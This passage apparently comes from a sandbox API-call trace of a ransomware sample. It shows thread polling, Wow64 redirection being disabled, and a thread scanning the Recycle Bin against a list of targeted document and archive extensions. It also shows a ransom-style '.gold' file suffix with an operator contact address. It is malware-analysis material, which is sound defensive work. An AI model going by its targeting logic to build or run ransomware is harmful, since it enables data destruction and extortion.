dwMilliseconds=0x64) returned 0x102 [0103.502] GetTickCount () returned 0x1132a9a [0103.502] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0103.829] GetTickCount () returned 0x1132be1 [0103.829] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0104.077] GetTickCount () returned 0x1132cdb [0104.077] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0104.448] GetTickCount () returned 0x1132e42 [0104.448] GetTickCount () returned 0x1132e42 [0104.448] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0104.959] GetTickCount () returned 0x1133045 [0104.959] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0105.387] GetTickCount () returned 0x11331ea [0105.387] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0105.820] GetTickCount () returned 0x113339f [0105.820] GetTickCount () returned 0x113339f [0105.820] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0105.957] GetTickCount () returned 0x113342b [0105.957] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0106.634] GetTickCount () returned 0x11336ca [0106.634] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0107.105] GetTickCount () returned 0x11338ad [0107.105] GetTickCount () returned 0x11338ad [0107.105] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0107.598] GetTickCount () returned 0x1133a91 [0107.598] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0107.984] GetTickCount () returned 0x1133c17 [0107.984] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0108.428] GetTickCount () returned 0x1133dcc [0108.428] GetTickCount () returned 0x1133dcc [0108.428] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0108.923] GetTickCount () returned 0x1133fbf [0108.923] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0109.344] GetTickCount () returned 0x1134164 [0109.344] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0109.472] GetTickCount () returned 0x11341e1 [0109.472] GetTickCount () returned 0x11341e1 [0109.472] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0109.708] GetTickCount () returned 0x11342cb [0109.708] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0109.822] GetTickCount () returned 0x1134348 [0109.822] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0109.993] GetTickCount () returned 0x11343f3 [0109.993] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0110.315] GetTickCount () returned 0x113452b [0110.315] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0110.709] GetTickCount () returned 0x11346c1 [0110.709] GetTickCount () returned 0x11346c1 [0110.709] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0110.973] GetTickCount () returned 0x11347ca [0110.973] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0111.305] GetTickCount () returned 0x1134912 [0111.305] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0111.434] GetTickCount () returned 0x113498f [0111.434] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0111.591] GetTickCount () returned 0x1134a2b [0111.591] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0111.806] GetTickCount () returned 0x1134b05 [0111.806] GetTickCount () returned 0x1134b05 [0111.806] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0112.152] GetTickCount () returned 0x1134c5c [0112.152] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0112.479] GetTickCount () returned 0x1134da4 [0112.479] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0112.953] GetTickCount () returned 0x1134f78 [0112.953] GetTickCount () returned 0x1134f78 [0112.953] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0113.268] GetTickCount () returned 0x11350b0 [0113.268] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0113.643] GetTickCount () returned 0x1135217 [0113.643] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0113.822] GetTickCount () returned 0x11352c2 [0113.822] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0114.050] GetTickCount () returned 0x11353ac [0114.050] GetTickCount () returned 0x11353ac [0114.050] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0114.221] GetTickCount () returned 0x1135448 [0114.221] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0114.743] GetTickCount () returned 0x113564b [0114.743] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0115.009] GetTickCount () returned 0x1135754 [0115.009] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0115.260] GetTickCount () returned 0x113584e [0115.260] GetTickCount () returned 0x113584e [0115.260] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0115.379] GetTickCount () returned 0x11358cb [0115.379] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x102 [0115.674] GetTickCount () returned 0x11359f3 [0115.674] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x64) returned 0x0 [0115.674] GetTickCount () returned 0x11359f3 [0115.674] Sleep (dwMilliseconds=0x64) [0116.013] GetTickCount () returned 0x1135b4a [0116.013] Sleep (dwMilliseconds=0x64) [0116.281] GetTickCount () returned 0x1135c53 [0116.281] GetTickCount () returned 0x1135c53 [0116.281] Sleep (dwMilliseconds=0x64) Thread: id = 55 os_tid = 0x61c [0086.448] GetTickCount () returned 0x112e9e2 [0086.448] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x24) returned 0x56dec8 [0086.448] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x56dec8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128 [0086.450] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x56dec8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0086.451] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x56dec8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x148 [0086.452] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x56dec8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x150 [0086.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541180 [0086.454] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541180, Size=0x20) returned 0x526028 [0086.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541180 [0086.454] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541180, Size=0x20) returned 0x526000 [0086.454] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a40000 [0086.454] GetProcAddress (hModule=0x75a40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a6d650 [0086.455] Wow64DisableWow64FsRedirection (in: OldValue=0x25dff84 | out: OldValue=0x25dff84*=0x0) returned 1 [0086.455] lstrlenW (lpString="kernel32.dll") returned 12 [0086.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x526028 | out: hHeap=0x4f0000) returned 1 [0086.455] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0086.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x526000 | out: hHeap=0x4f0000) returned 1 [0086.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x56ef30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x158 [0086.455] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0086.661] GetTickCount () returned 0x112eabd [0086.661] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0086.792] GetTickCount () returned 0x112eb3a [0086.792] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0087.162] GetTickCount () returned 0x112ebd6 [0087.162] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0087.353] GetTickCount () returned 0x112ec81 [0087.353] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0087.587] GetTickCount () returned 0x112ed5c [0087.587] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0087.733] GetTickCount () returned 0x112ede8 [0087.733] GetTickCount () returned 0x112ede8 [0087.733] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0088.000] GetTickCount () returned 0x112eee2 [0088.000] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0088.253] GetTickCount () returned 0x112ef9d [0088.253] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0088.494] GetTickCount () returned 0x112f087 [0088.494] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0088.687] GetTickCount () returned 0x112f142 [0088.687] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0088.914] GetTickCount () returned 0x112f21c [0088.914] GetTickCount () returned 0x112f21c [0088.914] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0089.148] GetTickCount () returned 0x112f306 [0089.148] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0089.626] GetTickCount () returned 0x112f4cb [0089.626] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0089.740] GetTickCount () returned 0x112f538 [0089.740] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0089.865] GetTickCount () returned 0x112f5b5 [0089.865] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0089.982] GetTickCount () returned 0x112f622 [0089.982] GetTickCount () returned 0x112f622 [0089.982] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0090.151] GetTickCount () returned 0x112f6ce [0090.151] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0090.273] GetTickCount () returned 0x112f74a [0090.273] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0090.625] GetTickCount () returned 0x112f892 [0090.625] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0091.094] GetTickCount () returned 0x112fa66 [0091.094] GetTickCount () returned 0x112fa66 [0091.094] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0091.203] GetTickCount () returned 0x112fad3 [0091.203] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0091.414] GetTickCount () returned 0x112fb8e [0091.414] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0091.910] GetTickCount () returned 0x112fd72 [0091.910] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0092.050] GetTickCount () returned 0x112fdfe [0092.050] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0092.557] GetTickCount () returned 0x112ffe2 [0092.557] GetTickCount () returned 0x112ffe2 [0092.557] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0092.684] GetTickCount () returned 0x113005f [0092.684] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0092.878] GetTickCount () returned 0x113011a [0092.878] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0093.223] GetTickCount () returned 0x1130271 [0093.223] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0093.435] GetTickCount () returned 0x113033c [0093.435] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0093.583] GetTickCount () returned 0x11303d8 [0093.583] GetTickCount () returned 0x11303d8 [0093.583] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0093.939] GetTickCount () returned 0x113053f [0093.939] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0094.125] GetTickCount () returned 0x11305fa [0094.125] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0094.386] GetTickCount () returned 0x11306f4 [0094.386] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0094.809] GetTickCount () returned 0x1130899 [0094.809] GetTickCount () returned 0x1130899 [0094.809] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0095.052] GetTickCount () returned 0x1130992 [0095.054] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0095.472] GetTickCount () returned 0x1130b38 [0095.472] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0095.731] GetTickCount () returned 0x1130c41 [0095.731] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0096.084] GetTickCount () returned 0x1130d98 [0096.084] GetTickCount () returned 0x1130d98 [0096.084] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0096.265] GetTickCount () returned 0x1130e53 [0096.265] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0096.697] GetTickCount () returned 0x1130ff8 [0096.697] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0097.505] GetTickCount () returned 0x1131324 [0097.505] GetTickCount () returned 0x1131324 [0097.505] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0098.031] GetTickCount () returned 0x1131536 [0098.031] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0098.525] GetTickCount () returned 0x1131729 [0098.525] GetTickCount () returned 0x1131729 [0098.525] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0098.948] GetTickCount () returned 0x11318ce [0098.948] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0099.269] GetTickCount () returned 0x1131a06 [0099.269] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0099.478] GetTickCount () returned 0x1131ae1 [0099.478] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0099.764] GetTickCount () returned 0x1131bfa [0099.764] GetTickCount () returned 0x1131bfa [0099.764] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0100.165] GetTickCount () returned 0x1131d8f [0100.165] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0100.474] GetTickCount () returned 0x1131ec7 [0100.474] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0100.648] GetTickCount () returned 0x1131f73 [0100.648] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0100.910] GetTickCount () returned 0x113207c [0100.910] GetTickCount () returned 0x113207c [0100.910] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0101.186] GetTickCount () returned 0x1132185 [0101.186] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0101.477] GetTickCount () returned 0x11322ae [0101.477] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0101.738] GetTickCount () returned 0x11323b7 [0101.738] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0101.940] GetTickCount () returned 0x1132482 [0101.940] GetTickCount () returned 0x1132482 [0101.940] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0102.595] GetTickCount () returned 0x1132701 [0102.595] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0103.141] GetTickCount () returned 0x1132933 [0103.141] GetTickCount () returned 0x1132933 [0103.141] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0103.502] GetTickCount () returned 0x1132a9a [0103.502] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0103.829] GetTickCount () returned 0x1132be1 [0103.829] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0104.077] GetTickCount () returned 0x1132cdb [0104.077] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0104.448] GetTickCount () returned 0x1132e42 [0104.448] GetTickCount () returned 0x1132e42 [0104.448] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0104.959] GetTickCount () returned 0x1133045 [0104.959] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0105.387] GetTickCount () returned 0x11331ea [0105.387] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0105.820] GetTickCount () returned 0x113339f [0105.820] GetTickCount () returned 0x113339f [0105.820] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0105.957] GetTickCount () returned 0x113342b [0105.957] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0106.634] GetTickCount () returned 0x11336ca [0106.634] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0107.105] GetTickCount () returned 0x11338ad [0107.105] GetTickCount () returned 0x11338ad [0107.105] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0107.598] GetTickCount () returned 0x1133a91 [0107.598] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0107.984] GetTickCount () returned 0x1133c17 [0107.984] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0108.428] GetTickCount () returned 0x1133dcc [0108.428] GetTickCount () returned 0x1133dcc [0108.428] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0108.923] GetTickCount () returned 0x1133fbf [0108.923] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0109.344] GetTickCount () returned 0x1134164 [0109.344] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0109.472] GetTickCount () returned 0x11341e1 [0109.472] GetTickCount () returned 0x11341e1 [0109.472] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0109.708] GetTickCount () returned 0x11342cb [0109.708] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0109.822] GetTickCount () returned 0x1134348 [0109.822] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0109.993] GetTickCount () returned 0x11343f3 [0109.993] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0110.315] GetTickCount () returned 0x113452b [0110.315] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0110.710] GetTickCount () returned 0x11346c1 [0110.710] GetTickCount () returned 0x11346c1 [0110.710] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0110.973] GetTickCount () returned 0x11347ca [0110.973] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0111.305] GetTickCount () returned 0x1134912 [0111.305] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0111.434] GetTickCount () returned 0x113498f [0111.434] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0111.591] GetTickCount () returned 0x1134a2b [0111.591] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0111.806] GetTickCount () returned 0x1134b05 [0111.806] GetTickCount () returned 0x1134b05 [0111.806] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0112.152] GetTickCount () returned 0x1134c5c [0112.152] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0112.478] GetTickCount () returned 0x1134da4 [0112.478] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0112.953] GetTickCount () returned 0x1134f78 [0112.953] GetTickCount () returned 0x1134f78 [0112.953] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0113.268] GetTickCount () returned 0x11350b0 [0113.268] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0113.643] GetTickCount () returned 0x1135217 [0113.643] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0113.822] GetTickCount () returned 0x11352c2 [0113.822] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0114.042] GetTickCount () returned 0x11353ac [0114.050] GetTickCount () returned 0x11353ac [0114.050] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0114.222] GetTickCount () returned 0x1135448 [0114.222] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0114.743] GetTickCount () returned 0x113564b [0114.743] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0115.009] GetTickCount () returned 0x1135754 [0115.009] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0115.260] GetTickCount () returned 0x113584e [0115.260] GetTickCount () returned 0x113584e [0115.260] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0115.379] GetTickCount () returned 0x11358cb [0115.379] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x102 [0115.674] GetTickCount () returned 0x11359f3 [0115.674] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0x64) returned 0x0 [0115.674] GetTickCount () returned 0x11359f3 [0115.674] Sleep (dwMilliseconds=0x64) [0116.013] GetTickCount () returned 0x1135b4a [0116.013] Sleep (dwMilliseconds=0x64) [0116.281] GetTickCount () returned 0x1135c53 [0116.281] GetTickCount () returned 0x1135c53 [0116.281] Sleep (dwMilliseconds=0x64) Thread: id = 57 os_tid = 0x694 [0086.896] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x58ef58 [0086.896] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x59ef60 [0086.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5411f8 [0086.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x53eff8 [0086.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541210 [0086.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x37a0020 [0086.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541228 [0086.897] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541228, Size=0x20) returned 0x55e8b0 [0086.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541228 [0086.897] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541228, Size=0x20) returned 0x55e8d8 [0086.898] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a40000 [0086.898] GetProcAddress (hModule=0x75a40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a6d650 [0086.898] Wow64DisableWow64FsRedirection (in: OldValue=0x2b1ff58 | out: OldValue=0x2b1ff58*=0x0) returned 1 [0086.898] lstrlenW (lpString="kernel32.dll") returned 12 [0086.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e8b0 | out: hHeap=0x4f0000) returned 1 [0086.898] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0086.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e8d8 | out: hHeap=0x4f0000) returned 1 [0086.898] Sleep (dwMilliseconds=0x64) [0087.330] lstrcmpiW (lpString1=".ini", lpString2=".gold") returned 1 [0087.330] lstrlenW (lpString="desktop.ini") returned 11 [0087.331] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0087.331] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=129) returned 1 [0087.331] CloseHandle (hObject=0x1d4) returned 1 [0087.331] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0087.331] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[goldmind@tuta.io].gold")) returned 0x26 [0087.342] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0087.342] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0087.342] lstrlenW (lpString=".doc") returned 4 [0087.342] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0087.342] lstrlenW (lpString=".docx") returned 5 [0087.342] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0087.342] lstrlenW (lpString=".pdf") returned 4 [0087.342] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0087.342] lstrlenW (lpString=".xls") returned 4 [0087.342] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0087.342] lstrlenW (lpString=".xlsx") returned 5 [0087.342] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0087.342] lstrlenW (lpString=".ppt") returned 4 [0087.342] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0087.342] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0087.342] lstrlenW (lpString=".zip") returned 4 [0087.342] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0087.342] lstrlenW (lpString=".rar") returned 4 [0087.342] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0087.342] lstrlenW (lpString=".bz2") returned 4 [0087.342] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0087.342] lstrlenW (lpString=".7z") returned 3 [0087.342] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0087.342] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0087.342] lstrlenW (lpString=".dbf") returned 4 [0087.342] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0087.342] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0087.342] lstrlenW (lpString=".1cd") returned 4 [0087.342] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0087.342] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0087.342] lstrlenW (lpString=".jpg") returned 4 [0087.343] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0087.343] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0087.343] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0087.343] lstrlenW (lpString=".doc") returned 4 [0087.343] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0087.343] lstrlenW (lpString=".docx") returned 5 [0087.343] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0087.343] lstrlenW (lpString=".pdf") returned 4 [0087.343] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0087.343] lstrlenW (lpString=".xls") returned 4 [0087.343] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0087.343] lstrlenW (lpString=".xlsx") returned 5 [0087.343] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0087.343] lstrlenW (lpString=".ppt") returned 4 [0087.343] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 